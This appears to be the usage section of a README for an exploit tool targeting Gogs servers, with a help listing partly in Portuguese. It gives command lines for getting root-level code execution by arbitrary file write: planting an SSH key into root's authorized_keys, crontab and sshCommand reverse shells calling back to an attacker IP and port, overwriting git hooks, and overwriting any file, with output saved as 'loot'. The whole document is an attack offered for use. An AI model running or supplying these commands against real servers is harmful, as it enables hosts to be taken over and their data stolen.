# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only

# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-keys ~/.ssh/id_rsa.pub --cleanup

# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-cron --lhost 10.10.14.5 --lport 4444

# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-ssh --lhost 10.10.14.5 --lport 4444

# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-hook --lhost 10.10.14.5 --lport 4444

# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /tmp/pwned --content "proof-of-concept"

# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /root/.ssh/authorized_keys \
    --content-file ~/.ssh/id_rsa.pub

target                  URL base do Gogs (ex.: http://target:3000)

Autenticação:
  -u, --user            Nome de usuário do Gogs
  -p, --password        Senha do Gogs

Estratégias RCE:
  --rce-keys PUBKEY     Plantar chave pública SSH → /root/.ssh/authorized_keys
  --rce-cron            Reverse shell → /etc/crontab
  --rce-ssh             Envenenar .git/config sshCommand + gatilho
  --rce-hook            Sobrescrever hook pre-receive + gatilho
  --write               Escrita genérica arbitrária de arquivo

Conexão / Payload:
  --lhost LHOST         IP do atacante para reverse shell
  --lport LPORT         Porta do atacante para reverse shell
  --target-file PATH    Caminho no servidor para sobrescrever (modo --write)
  --content STRING      Conteúdo para escrever
  --content-file FILE   Arquivo local para escrever

Opções:
  --repo NAME           Nome do repositório (padrão: aleatório)
  --cleanup             Excluir repositório do exploit após conclusão
  -o, --output FILE     Arquivo de relatório (padrão: loot.json)
  --timeout SECONDS     Timeout da requisição (padrão: 15)
  --proxy URL           Proxy HTTP para depuração
  --check-only          Apenas verificar se o alvo é Gogs, não explorar